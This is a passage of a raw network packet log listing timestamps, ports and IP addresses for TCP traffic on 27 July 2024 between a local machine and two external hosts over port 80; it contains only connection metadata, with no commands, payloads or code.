Jul 27, 2024 13:30:03.626669884 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.626694918 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.626710892 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.626728058 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.626754045 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.626785994 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.626990080 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.627007961 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.627022982 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.627038956 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.627046108 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.627055883 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.627073050 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.627079010 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.627089024 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.627104998 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.627115011 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.627120018 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.627136946 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.627142906 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.627156019 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.627181053 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.627753973 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.627769947 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.627784967 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.627799034 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.627800941 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.627815962 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.627825975 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.627832890 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.627849102 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.627860069 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.627863884 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.627882004 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.627887964 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.627897978 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.627916098 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.627921104 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.627966881 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.628601074 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.628616095 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.628631115 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.628648043 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.628655910 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.628667116 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.628683090 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.628690958 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.628699064 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.628715038 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.628722906 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.628731966 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.628748894 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.628757000 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.628765106 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.628781080 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.628793955 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.628797054 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.628824949 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.629534006 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.629550934 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.629565954 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.629580021 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.629580975 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.629596949 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.629602909 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.629614115 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.629630089 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.629640102 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.629648924 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.629667997 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.629668951 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.629683971 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.629699945 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.629705906 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.629717112 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.629733086 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.629736900 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.629750967 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.629771948 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.630408049 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.630424976 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.630439997 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.630453110 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.630455017 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.630471945 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.630475998 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.630489111 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.630506039 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.630516052 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.630523920 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.630538940 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.630548000 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.630556107 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.630572081 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.630578041 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.630589962 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.630606890 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.630615950 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.630645990 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.631357908 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.631373882 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.631387949 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.631408930 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.631412983 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.631424904 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.631441116 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.631448984 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.631458998 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.631474018 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.631481886 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.631489992 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.631505966 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.631510973 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.631524086 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.631541014 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.631544113 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.631557941 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.631576061 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.632185936 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.632203102 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.632216930 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.632230997 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.632232904 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.632255077 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.632256031 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.632273912 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.632288933 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.632296085 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.632304907 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.632320881 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.632327080 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.632364988 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.661658049 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.661691904 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.661709070 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.661725044 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.661742926 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.661757946 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.661773920 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.661787987 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.661892891 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.719366074 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.719388962 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.719399929 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.719501972 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.719508886 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.719526052 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.719543934 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.719557047 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.719562054 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.719585896 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.720063925 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.720112085 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.720122099 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.720252037 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.720295906 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.720325947 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.720340967 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.720380068 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.720539093 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.720555067 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.720570087 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.720583916 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.720591068 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.720623016 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.720796108 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.720810890 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.720825911 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.720840931 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.720848083 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.720856905 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.720874071 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.720877886 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.720909119 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.721174002 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.721189022 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.721227884 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.721662045 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.721754074 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.721800089 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.721807003 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.721817970 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.721857071 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.722006083 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.722021103 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.722035885 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.722053051 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.722057104 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.722088099 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.722254038 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.722270012 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.722285032 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.722305059 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.722352982 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.722369909 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.722384930 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.722390890 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.722403049 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.722419977 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.722424984 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.722438097 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.722460032 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.722948074 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.722965956 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.722980976 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.722994089 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.722999096 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.723016024 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.723021984 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.723033905 CEST	80	49730	198.46.176.133	192.168.2.4
Jul 27, 2024 13:30:03.723058939 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:03.776338100 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:04.068772078 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.073831081 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.073950052 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.074002981 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.080065966 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.548584938 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.548633099 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.548669100 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.548702002 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.548738003 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.548773050 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.548811913 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.548844099 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.548845053 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.548845053 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.548845053 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.548878908 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.548914909 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.548918962 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.548968077 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.554217100 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.554267883 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.554303885 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.554441929 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.604549885 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.634066105 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.634135008 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.634170055 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.634202003 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.634234905 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.634268999 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.634401083 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.634402037 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.634468079 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.634701967 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.634952068 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.635013103 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.635051966 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.635086060 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.635159969 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.635159969 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.636538029 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.636603117 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.636612892 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.636648893 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.636706114 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.636938095 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.636971951 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.637006044 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.637027025 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.637038946 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.637074947 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.637093067 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.637419939 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.637474060 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.637504101 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.637538910 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.637590885 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.637605906 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.639836073 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.639899969 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.639976978 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.682737112 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.721448898 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.721494913 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.721530914 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.721736908 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.721740961 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.721774101 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.721807957 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.721807957 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.721837997 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.721868992 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.721894979 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.721930027 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.721951008 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.721961975 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.721997976 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.722017050 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.722031116 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.722064018 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.722085953 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.722142935 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.722177029 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.722198009 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.722208977 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.722240925 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.722260952 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.722275019 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.722307920 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.722328901 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.722342014 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.722374916 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.722394943 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.722770929 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.722827911 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.722829103 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.722866058 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.722918987 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.723010063 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.723042965 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.723077059 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.723095894 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.723110914 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.723161936 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.723267078 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.723299026 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.723334074 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.723350048 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.723823071 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.723875046 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.723877907 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.723908901 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.723959923 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.724051952 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.724086046 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.724119902 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.724142075 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.724154949 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:04.724208117 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:04.724364996 CEST	80	49731	192.3.176.154	192.168.2.4
